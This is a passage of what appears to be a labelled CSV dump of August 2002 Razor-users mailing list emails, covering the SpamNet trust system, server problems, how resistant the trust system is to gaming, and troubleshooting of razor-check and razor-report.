because you're worth $1 instead of the usual 2 cents? ;) Jehan ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Jehan Bing ,razor-users@example.sourceforge.net,"Thu, 08 Aug 2002 17:34:51 -0700",[Razor-users] Re: keep submitting known spam?,"Craig R.Hughes wrote: > > On Thursday, August 8, 2002, at 11:15 AM, Mika Hirvonen wrote: > >> I do not know the algorithms used to calculate confidence values, but it >> probably penalizes heavily when someone revokes spam that everyone else >> considers as spam. Or at least it should. > > > The problem with that is that invariably, there are ""gray"" mails. Some > people will vote ""spam"", others will vote ""nonspam"" -- under your > proposed system, anyone who ever calls ""gray"" mail nonspam will have a > shitty trust score. And once you have a shitty trust score, your own > submissions won't even be used to flag your own spam as spam. That's > bound to confuse a lot of people. ""But I just marked that exact message > as spam. Why is it not being considered spam? I'm an honest submitter."" I assume that how much the trust goes down depends of the proportion of report vs revoke. If everybody except one says that a mail is spam, the one guy will see his trust go down dramatically. If you are with the majority, your trust goes up. If you are against the majority, your trust goes down. If people 50-50, whatever you vote, your neither against the majority nor with it, so your trust won't change. So your ""gray"" mail won't have much influence on your trust (neither good nor bad, just... gray) ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chip Paswater ,razor-users@example.sourceforge.net,"Thu, 8 Aug 2002 16:27:11 -0700",[Razor-users] SpamNet question,"Vipul, can I ask questions about SpamNet here? I hope so, here goes.. simple question. How do you define username/passwords in spamnet? I don't see any fields for this option, so I'm assuming when someone connects with SpamNet for the first time, they're given a unique ID that they keep until they change to a new Outlook client? It would be nice if you could specify which username/password to use. I'd like to share my trust account between my work(outlook) and my personal(mutt) email accounts. > > Perhaps a feature can be added to razor-report, so that it checks whether a > > message is spam before it submits it. If it is spam, then don't send the > > body, 4 signatures, etc, just up the ""rating"" for that individual spam. > > Yep, that how razor-agents currently work. > > cheers, > vipul. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Adam Goryachev"" ",,"Fri, 9 Aug 2002 10:05:29 +1000",RE: [Razor-users] What's wrong with the Razor servers now?,"> -----Original Message----- > From: razor-users-admin@example.sourceforge.net > [mailto:razor-users-admin@lists.sourceforge.net]On Behalf Of Craig > R.Hughes > On Thursday, August 8, 2002, at 02:28 PM, Vipul Ved Prakash wrote: > > I'm not sure I understand. Let's say I am an honest > razor-submitter, and I submit lots of stuff that everyone agrees > is spam. Great, that is very nice of you. > Now I get some opt-in mail which looks to me like > spam. I hit ""this is spam"". My trust rating plummets -- Good! Your opinion of what is spam is unreliable, and therefore, I don't *want* to trust you. IMHO, that is exactly the case that the trust system is supposed to sort out. People who incorrectly submit non-spam bulk mail to razor. > assuming most other people recognized that it was in fact > something they'd requested. Now picture that this happens to > lots of people in the system. Then those lots of people are unreliable, and therefore will all have minimal trust, but the people with a decent reliability and therefore trust level will help us all... > Again, it might not be a problem, but I don't think we know > yet. It will probably take a little while for there to be > enough data in the trust system for it to equilibriate (or has > it been initialized based on all the submissions/revocations > gathered before it was switched on?). I suppose we'll know once > it's equilibriated. Certainly as of right now, people don't > think SpamNet is working very well at all, where it had been > working great a week ago. IMHO, due to the number of messages you are sending, and the way you are discussing TeS, (considering that you know *nothing* about it), certainly looks like you are simply trying to throw doubt/negativity onto razor. Personally, I haven't used razor for a few months now because I want to integrate it into qmail-scanner *without* spam assassin, but haven't had the time to do that, so even I can't comment on Razor at all..... Vipul & co, I think it would be great if there was more transparency in the whole server process, ie, if you know there is a problem, then tell all of us, this will avoid all the stupid ""Oh, it isn't working again, and it took me 324 days to work it out"" etc... Just my $1 worth... Regards, Adam ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Vipul Ved Prakash ,razor-users@example.sourceforge.net,"Thu, 8 Aug 2002 15:56:57 -0700",Re: [Razor-users] What's wrong with the Razor servers now?,"Craig, The problems with missing hashes are being addressed I write this. It should be fixed soon and it has nothing to do with TeS algorithms. cheers, vipul. On Thu, Aug 08, 2002 at 03:17:52PM -0700, Craig R . Hughes wrote: > I'm talking specifically about the last ~24 hours where it seems > like things have not been working. People who've been using the > Outlook plugin have been telling me they've been seeing really > bad performance, which I've been attributing to the problems > which have been discussed here and on sa-talk. I'm not saying > it's completely not working, or that it has no chance of being > fixed 15 minutes from now, just that it's not currently working, > and there have been a number of ""hiccup"" periods in the last > couple months. Plus, it's hard to deny that we don't know yet > if the trust network is going to work or not -- it only just got > switched on, and that changeover seems to have corresponded with > people noticing things have stopped working right. > > C > > On Thursday, August 8, 2002, at 01:44 PM, Jordan Ritter wrote: > > > On Thu, Aug 08, 2002 at 01:36:15PM -0700, Craig R.Hughes wrote: > > > > # Razor2 seems to have been a long time in coming, [...] and doesn't > > # currently work. > > > > Quite a strong statement, Craig, one which over 30,000 active users a > > day would strongly disagree with. > > > > > > --jordan > > > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ","""Jordan Ritter"" ,","Thu, 8 Aug 2002 18:22:50 -0400",RE: [Razor-users] Re: intentions,"Yeh it sure would be nice to have more info on Tes. That would end all the confusion. Can Spamassassin be considered a competing product when it's typically used in conjunction with Razor? -----Original Message----- From: Jordan Ritter [mailto:jpr5@darkridge.com] Sent: Thursday, August 08, 2002 6:09 PM To: Craig R . Hughes; razor-users@example.sourceforge.net Subject: [Razor-users] Re: intentions Craig, I don't really understand how you can make the claims that you make without a full understanding of TeS, which you can't have because we haven't published the details. In the end, given that you don't know much about TeS or how it works, your statements really call into question your intentions given that you have a competing product in this space. Regards, --jordan ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Steve Price ,razor-users@example.sourceforge.net,"Thu, 8 Aug 2002 17:32:54 -0500",[Razor-users] false-positive found,"Razor v1 just called a post to the mutt-users mailing list SPAM with the following signature. b230a8ed84eb262bed1f2c908703990d3483b55f BTW, is there are another way for us folks still using v1 to revoke false-positives such as this without posting to the list? Thanks. -steve ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chip Paswater ,,"Thu, 8 Aug 2002 15:26:38 -0700",Re: [Razor-users] keep submitting known spam?,"> > To reiterate, the idea behind Razor is to turn 1 bit of > > information from > > the user (this message is or isn't spam) into a comprehensive > > filteration > > system. Everything from computation of signatures for content > > identification, to assignment of confidence and trust, distribution of > > signatures, etc is done automagically. > > Well, a little more than one bit -- you have to transmit the > signature, plus now the entire message body. Plus your ID. > Plus the rights to all intellectual property contained in any > email message you submit (I guess technically there are no bits > in the rights assignment) Perhaps a feature can be added to razor-report, so that it checks whether a message is spam before it submits it. If it is spam, then don't send the body, 4 signatures, etc, just up the ""rating"" for that individual spam. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ","""Jordan Ritter"" ,","Thu, 8 Aug 2002 17:17:05 -0400",RE: [Razor-users] What's wrong with the Razor servers now?,"I'm one of the 30,000 but it's not working very well this week with the TES updates and servers not syncing. -----Original Message----- From: Jordan Ritter [mailto:jpr5@darkridge.com] Sent: Thursday, August 08, 2002 4:45 PM To: razor-users@example.sourceforge.net Subject: Re: [Razor-users] What's wrong with the Razor servers now? On Thu, Aug 08, 2002 at 01:36:15PM -0700, Craig R.Hughes wrote: # Razor2 seems to have been a long time in coming, [...] and doesn't # currently work. Quite a strong statement, Craig, one which over 30,000 active users a day would strongly disagree with. --jordan ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ",,"Thu, 8 Aug 2002 17:21:17 -0400",RE: [Razor-users] keep submitting known spam?,"If you're an ISP or running a good size mail server and you submit 2-5 thousands messages a day regardless if it's already been submitted, would your rating go up faster offsetting the drop from revokes? ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Vipul Ved Prakash ,"""Craig R . Hughes"" ","Thu, 8 Aug 2002 14:28:59 -0700",Re: [Razor-users] What's wrong with the Razor servers now?,"Craig, For the most part, 99% times 99% users agree on what is spam. This is the nature of the spam problem. Now if you were to use a ""personal trust"" system, you'd have a huge personal trust group that would include 99% of the userbase. This means 99% times you'd be coming to the same conclusion, only after burning several orders of magnitude more CPU cycles. That would be stupid. Also, it would take several orders of magnitude longer to bootstrap and reach effectiveness. Sub-optimal in the extreme. As regards to the problems with the ""gray"" areas you mentioned, servers recognize such content, and razor-agents can use this information to make individual determination. Not to mention, users can set a local confidence level they are confortable with. cheers, vipul. On Thu, Aug 08, 2002 at 01:09:22PM -0700, Craig R . Hughes wrote: > By system-trust vs personal trust I don't mean that the system doesn't > have a trust rating for each user, but rather that each individual has > one system-wide trust rating. Your trust rating for scoring my mail is > the same as your trust rating for scoring your own email, or Joe > Schmoe's email. You may be great at flagging most spam, but just really > bad at flagging one particular piece of controversial mail which is > ""gray spam"" -- ie some people love it, others hate it. Ideally, I should > have my own personal trust score for you which agrees with my beliefs > about that controversial mail, rather than the system-wide beliefs. If > that doesn't happen, then depending on the trust system's weightings, > there are 3 possibilities: > > 1. All ""gray"" mail is blocked as spam (ie lots of false positives for > individual users) > 2. All ""gray"" mail is allowed through as nonspam (ie lots of false > negatives for individuals) > 3. The entire trust system collapses because noone is trusted due to > conflicting votes about ""gray"" spam. -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Vipul Ved Prakash ,razor-users@example.sourceforge.net,"Thu, 8 Aug 2002 15:43:03 -0700",Re: [Razor-users] keep submitting known spam?,"On Thu, Aug 08, 2002 at 03:26:38PM -0700, Chip Paswater wrote: > > Perhaps a feature can be added to razor-report, so that it checks whether a > message is spam before it submits it. If it is spam, then don't send the > body, 4 signatures, etc, just up the ""rating"" for that individual spam. Yep, that how razor-agents currently work. cheers, vipul. -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Jordan Ritter ,"""Craig R . Hughes"" ,","Thu, 8 Aug 2002 15:09:25 -0700",[Razor-users] Re: intentions,"--f0KYrhQ4vYSV2aJu Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Craig, I don't really understand how you can make the claims that you make without a full understanding of TeS, which you can't have because we haven't published the details. In the end, given that you don't know much about TeS or how it works, your statements really call into question your intentions given that you have a competing product in this space. Regards, --jordan --f0KYrhQ4vYSV2aJu Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9UuwVpwQdAVEbU7oRAgPAAKCBgOAqyCLpbBmryq53F7IZo8yvtQCfQYms 6dk7xDTKr9UIZeG9Z0Y1AZg= =7tWy -----END PGP SIGNATURE----- --f0KYrhQ4vYSV2aJu-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Craig R.Hughes"" ","""Gregory Sloop"" ","Thu, 8 Aug 2002 13:36:15 -0700",Re: [Razor-users] What's wrong with the Razor servers now?,"On Thursday, August 8, 2002, at 09:05 AM, Gregory Sloop wrote: > I agree (I think).... > > But gaming the system, for any system, (spamassassin included) is extra > work. Yes, it's definitely extra work. The question is how much extra work, both up front, and then on an ongoing basis. I know nothing about how the trust system is working (still waiting for that long-promised server code to be published), but now that it's been turned on, and the more info that's coming out about it, the more concerned I'm becoming that it's extremely easy to game; that the initial amount of work to set up a gaming agent is low, and that once it's set up, it can be ""fire and forget"" in terms of continuing to operate in a way that's not easy to distinguish from real user behavior. > Sure, you can find a way to work almost any system, but few > users (spammers) > will actually take the time to game the system. Another concern I have with the way the system might be working is that it might not actually require very many gamers at all to utterly undermine the whole system. There are a certain number of possible universes where the trust system is very sensitive to liars, or misclassifiers of ""gray"" mail, or both. It's not clear yet whether this universe is one of those or not. > That means that we might have a system that is less than 100% > effective, but > perfect accuracy and effectiveness comes at a prohibitive cost. > (Complex > systems, time numbing hours of coding etc.) You do need a certain level of accuracy though, or the filter is not economically worthwhile. If you only filter 75% of spam, you're wasting your time. Some people receive on the order of a 10:1 ratio of spam:real mail -- 75% means the ratio adjusts to 5:2 which is still shitty. 95% makes it 1:2, which is better. 99% makes it 1:10 which is quite nice. As the global ratio of spam:mail rises, this problem gets somewhat more important. With an order of magnitude worsening of the incoming spam:real ratio, 100:1, 99% effective still works OK. 75% effective is now really, really shitty. > I can't vouch for Razor currently, as I'm not at all > knowledgeable. But I > suspect the current route was picked because it was fairly simple to > impliment, and it (at least some think) should work decently - if not > completely without fault. Time will tell. Time will also tell how good the system is at adjusting over time to gaming strategies. > I put up with some garbage results in SA, simply because it > blocks most of > my spam, without too many false positives. SA definitely has a non-zero FP rate, and always will have. I would argue that any system will have a non-zero FP rate, including the ""no filter"" filter -- humans make mistakes too sometimes! As spammer strategies evolve over time though, I'm fairly sure that SA will be able to adjust and compensate. If spammers figure out how to easily pollute the SpamNet trust system, I'm not sure how easy it'll be to replace the trust system with something else. > Perhaps Craig is just theorizing, but I just thought I'd offer my two > ity-bits. Lots of theorizing, most of it based on little data. The key premises I'm worrying about though are: 1. Trust system is easy to pollute 2. Trust system is not personal, which makes the assumption that all honest voters agree on what constitutes spam > Somthing simple, and actually implimented, that works > reasonably well, is > better than somthing that works perfectly, but will never be > implimented > because of it's cost. (The rub is that everyone defines > ""reasonably well"" in > dramatically different ways - *grin* as evidenced my the masses > that think > Microsoft's stuff works ""resaonably well"" _bah_ - [but it does > keep me fully > employed 'sigh'] Razor2 seems to have been a long time in coming, apparently is quite resource intensive (judging by Cloudmark's fundraising efforts), and doesn't currently work. It has great promise, and I'm hoping that once the wrinkles are worked through, it'll add another powerful tool in the war on spam -- I'm just concerned that it's getting off on the wrong foot and might not be able to recover. C ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Sven Willenberger"" ",,"Thu, 8 Aug 2002 16:12:00 -0400",Re: [Razor-users] Using Razor with non-mbox files,"> ----- Original Message ----- > Date: Thu, 08 Aug 2002 11:58:36 -0400 > From: wertzscott@cs.com > To: razor-users@example.sourceforge.net > Subject: [Razor-users] Using Razor with non-mbox files > > Greetings! I'm new to this list, and new to Razor. Trying to get it to compile now (perhaps more on that later), but I'm wondering if it can really do what I need anyway. In short my question is whether Razor can process files directly from sendmail's queues. Here's the situation. > You can use a milter with sendmail that will add an X-header labeling the mail as spam for procmail processing later (see smrazor: http://www.sapros.com/smrazor/ ). You can modify the .c file to reject the email instead. I have been using this with sendmail 8.12.5 and Solaris 9 with razor-agents 2.14 quite successfully (barring network/catalogue server issues) ... Sven ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Craig R.Hughes"" ",Jordan Ritter ,"Thu, 8 Aug 2002 15:17:52 -0700",Re: [Razor-users] What's wrong with the Razor servers now?,"I'm talking specifically about the last ~24 hours where it seems like things have not been working. People who've been using the Outlook plugin have been telling me they've been seeing really bad performance, which I've been attributing to the problems which have been discussed here and on sa-talk. I'm not saying it's completely not working, or that it has no chance of being fixed 15 minutes from now, just that it's not currently working, and there have been a number of ""hiccup"" periods in the last couple months. Plus, it's hard to deny that we don't know yet if the trust network is going to work or not -- it only just got switched on, and that changeover seems to have corresponded with people noticing things have stopped working right. C On Thursday, August 8, 2002, at 01:44 PM, Jordan Ritter wrote: > On Thu, Aug 08, 2002 at 01:36:15PM -0700, Craig R.Hughes wrote: > > # Razor2 seems to have been a long time in coming, [...] and doesn't > # currently work. > > Quite a strong statement, Craig, one which over 30,000 active users a > day would strongly disagree with. > > > --jordan > ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Craig R.Hughes"" ",Jehan ,"Mon, 12 Aug 2002 14:20:29 -0700",Re: [Razor-users] Re: What's wrong with the Razor servers now?,"On Monday, August 12, 2002, at 11:06 AM, Jehan wrote: > Craig R.Hughes wrote: >> This is, I think the biggest fallacy here. You don't have to >> block jack shit to get a high trust rating, you just have to >> confirm Razor's existing opinion on a large number of messages: >> if(check() == spam) then submit() else revoke() >> That algorithm boosts trust, but reduces the information in >> SpamNet by damping. > > If you know a way to prevent people (spammer or not) to do that > while allowing you to do it, pray, tell me. > > And I imagine easily that if someone submit/revoke at a very > high rate, some alarm triggers on Razor's server resulting in > their user id to be disabled/deleted. > I also suspect that the more you submit/revoke the same mail, > the less influence it has on your trust. And since there isn't > millions of different spam (it's always the same ones coming > back over and over with maybe one or two different words, i.e. > the same mail if fuzzy signatures work well), I guess that > spammer will reach there limit pretty quickly. I was thinking you could easily create a spamtrap which you subscribe to lots of legitimate nonspam mailing lists, plus you also spread the email address around and get it in the hands of lots of spammers so it ends up receiving large quantities of both spam and nonspam, then you have it apply the algorithm above to the incoming mail stream. So it could be thousands of actual real, different, emails per day. The ""very high rate triggers alarms"" thing is certainly something which would be possible to check for, but there may be legitimate ways to exhibit this behavior -- can't think of one right now but ""AOL proxy server"" springs to mind as an example from another domain. C ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Craig R.Hughes"" ",Jehan ,"Mon, 12 Aug 2002 14:26:46 -0700",Re: [Razor-users] Re: What's wrong with the Razor servers now?,"Justification could be ""This user has a great track record"", he has agreed with me every single time out of hundreds of times in the past. C On Monday, August 12, 2002, at 11:42 AM, Jehan wrote: > And I also think that people listen more to people justifying > their argumentation than people just giving a result. But > justification will never work in Razor. ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Jehan Bing ,razor-users@example.sourceforge.net,"Mon, 12 Aug 2002 15:40:32 -0700",[Razor-users] Re: What's wrong with the Razor servers now?,"Craig R.Hughes wrote: > I was thinking you could easily create a spamtrap which you subscribe to > lots of legitimate nonspam mailing lists, plus you also spread the email > address around and get it in the hands of lots of spammers so it ends up > receiving large quantities of both spam and nonspam, then you have it > apply the algorithm above to the incoming mail stream. So it could be > thousands of actual real, different, emails per day. The ""very high > rate triggers alarms"" thing is certainly something which would be > possible to check for, but there may be legitimate ways to exhibit this > behavior -- can't think of one right now but ""AOL proxy server"" springs > to mind as an example from another domain. If there is a maximum trust value (if trust is some sort of percentage for instance), and if it isn't impossible to reach it, that would prevent too few people to get too much of an avantage. My guess is if 1% of razor users can reach this limit (or be near enough), spammers won't be able to cheat just by building up their trust, they would need a fair amount of fake users too. Now, for the ""fair amount of fake users"", spammers don't have access to many set of network classes. So they would need a bunch of users coming from the same set of ips. If the razor servers see 100 people on a class C network (253 ips) reporting 10000 emails a day, something wrong is going on. This could also trigger alarms. As for legitimate proxies and the like, 1) a proxy should not report any thing (spam should be reported by hand, not automatically), 2) there may be a way to have exception (IBM networks would have lots of users from the same set of ips but no likely spammers, so no alarm would trigger for their network, or better the alarm would be less sensitive). AOL could still give trouble though but even then, for one particular phone line/cable, the set of ip is probably quite small even less than a class C (using network subclassing). The spammers could still try to have several connections at different locations, but that increases their cost and so is not so much interesting. Jehan ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chad Norwood ,Chip Paswater ,"Mon, 12 Aug 2002 17:44:20 -0700",[Razor-users] Re: keep submitting known spam?,"On 08/08/02 15:26 -0700, Chip Paswater wrote: ) > ) > Well, a little more than one bit -- you have to transmit the ) > signature, plus now the entire message body. Plus your ID. ) > Plus the rights to all intellectual property contained in any ) > email message you submit (I guess technically there are no bits ) > in the rights assignment) ) ) Perhaps a feature can be added to razor-report, so that it checks whether a ) message is spam before it submits it. If it is spam, then don't send the ) body, 4 signatures, etc, just up the ""rating"" for that individual spam. razor-report only sends the body if the server does not have a copy already. When it does, and the server just notes who also thinks that mail is spam, and uses that info in TeS. -chad ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chad Norwood ,Mike Burger ,"Mon, 12 Aug 2002 17:50:30 -0700",[Razor-users] Re: No results from razor-check on known spam?,"Can you send more details about the error? and also do a 'razor-report -v' to make sure 2.x is being called. -chad On 11/08/02 21:09 -0500, Mike Burger wrote: ) Ok...I need to amend this. ) ) I don't get the error when I check the spam...just when I go to report it. ) ) On Sun, 11 Aug 2002, Mike Burger wrote: ) ) > I did...unfortunately, now I get this: ) > ) > Died at /usr/bin/razor-check line 32, line 1. ) > ) > Did I need to remove and reinstall, or something. I just did a make ) > install over the existing installation. ) > ) > On Sun, 11 Aug 2002, Vipul Ved Prakash wrote: ) > ) > > On Sun, Aug 11, 2002 at 07:39:41AM -0500, Mike Burger wrote: ) > > > ) > > > Any ideas what might have changed, here? I'm running razor-agents-2.12, ) > > > and razor-agents-sdk-2.0.3. ) > > ) > > Mike, ) > > ) > > Please upgrade to 2.14 as many bugs were fixed between the two releases, and ) > > see if your problem persists. ) > > ) > > cheers, ) > > vipul. ) > > ) > > ) > ) > ) > ) > ------------------------------------------------------- ) > This sf.net email is sponsored by:ThinkGeek ) > Welcome to geek heaven. ) > http://thinkgeek.com/sf ) > _______________________________________________ ) > Razor-users mailing list ) > Razor-users@lists.sourceforge.net ) > https://lists.sourceforge.net/lists/listinfo/razor-users ) > ) ) ) ) ------------------------------------------------------- ) This sf.net email is sponsored by:ThinkGeek ) Welcome to geek heaven. ) http://thinkgeek.com/sf ) _______________________________________________ ) Razor-users mailing list ) Razor-users@lists.sourceforge.net ) https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chad Norwood ,Mike Burger ,"Mon, 12 Aug 2002 18:02:34 -0700",[Razor-users] Re: No results from razor-check on known spam?,"This is bizarre. The numbers should not just disappear. Try with the '-n' switch which prints out a '-' before legit mails. razor-check -n mail/caughtspam If that still appears broken, can you do the following statement and send me 'spam_fileno' and 'razor.log' razor-check -n -logfile=razor.log -dl=13 mail/caughtspam >spam_fileno -chad On 11/08/02 07:39 -0500, Mike Burger wrote: ) Since last night, I've been getting odd results...or, rather, a lack of ) results from razor-check. ) ) I am using SpamAssassin, and have my .procmailrc set up to dump any tagged ) spam into its own folder under my ~/mail directory. ) ) When I get any new messages in that folder, I run razor-check against ) them, like so: ) ) razor-check < mail/caughtspam ) ) Previously, if I just ran razor-check against such a batch of spam, it ) would report the message numbers, in the batch, that were known spam. I ) would then delete the known spam from the batch, and then run: ) ) razor-report < mail/caughtspam ) ) to submit the rest, after confirming that ) it was, indeed, spam. (I should tell you that since using SA 2.31, I've ) had less than 1% of the messages it's tagged wind up as false positives, ) but I've taken the advice of many here, and am not just automatically ) reporting). ) ) As I said, previously, razor-check would tell me which messages were known ) spam. For example, if I ran razor-check against a batch of 5 messages, ) and message #2 and #4 were known spam, the end result would look like ) this: ) ) 2 ) 4 ) ) But, starting yesterday, it stopped doing this. Now, I've got to call ) ) razor-check -d < mail/caughtspam ) ) And look for the ""mail id # is known spam"" before I can eliminate it. ) ) The last 4 messages I checked, I had to do the same thing. ) ) I've changed nothing in my razor installation or configuration. ) ) Any ideas what might have changed, here? I'm running razor-agents-2.12, ) and razor-agents-sdk-2.0.3. ) ) Thanks. ) ) --Mike ) ) ) ) ------------------------------------------------------- ) This sf.net email is sponsored by:ThinkGeek ) Welcome to geek heaven. ) http://thinkgeek.com/sf ) _______________________________________________ ) Razor-users mailing list ) Razor-users@lists.sourceforge.net ) https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Mike Burger ,Chad Norwood ,"Mon, 12 Aug 2002 20:06:54 -0500 (EST)",[Razor-users] Re: No results from razor-check on known spam?,"I seem to be getting the known spam message numbers, now, using 2.14...now, I'm just wondering about the error at the end of the check/report procedure. On Mon, 12 Aug 2002, Chad Norwood wrote: > > This is bizarre. The numbers should not just disappear. Try > with the '-n' switch which prints out a '-' before legit mails. > > razor-check -n mail/caughtspam > > If that still appears broken, can you do the following statement and > send me 'spam_fileno' and 'razor.log' > > razor-check -n -logfile=razor.log -dl=13 mail/caughtspam >spam_fileno > > -chad > > On 11/08/02 07:39 -0500, Mike Burger wrote: > ) Since last night, I've been getting odd results...or, rather, a lack of > ) results from razor-check. > ) > ) I am using SpamAssassin, and have my .procmailrc set up to dump any tagged > ) spam into its own folder under my ~/mail directory. > ) > ) When I get any new messages in that folder, I run razor-check against > ) them, like so: > ) > ) razor-check < mail/caughtspam > ) > ) Previously, if I just ran razor-check against such a batch of spam, it > ) would report the message numbers, in the batch, that were known spam. I > ) would then delete the known spam from the batch, and then run: > ) > ) razor-report < mail/caughtspam > ) > ) to submit the rest, after confirming that > ) it was, indeed, spam. (I should tell you that since using SA 2.31, I've > ) had less than 1% of the messages it's tagged wind up as false positives, > ) but I've taken the advice of many here, and am not just automatically > ) reporting). > ) > ) As I said, previously, razor-check would tell me which messages were known > ) spam. For example, if I ran razor-check against a batch of 5 messages, > ) and message #2 and #4 were known spam, the end result would look like > ) this: > ) > ) 2 > ) 4 > ) > ) But, starting yesterday, it stopped doing this. Now, I've got to call > ) > ) razor-check -d < mail/caughtspam > ) > ) And look for the ""mail id # is known spam"" before I can eliminate it. > ) > ) The last 4 messages I checked, I had to do the same thing. > ) > ) I've changed nothing in my razor installation or configuration. > ) > ) Any ideas what might have changed, here? I'm running razor-agents-2.12, > ) and razor-agents-sdk-2.0.3. > ) > ) Thanks. > ) > ) --Mike > ) > ) > ) > ) ------------------------------------------------------- > ) This sf.net email is sponsored by:ThinkGeek > ) Welcome to geek heaven. > ) http://thinkgeek.com/sf > ) _______________________________________________ > ) Razor-users mailing list > ) Razor-users@lists.sourceforge.net > ) https://lists.sourceforge.net/lists/listinfo/razor-users > ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply 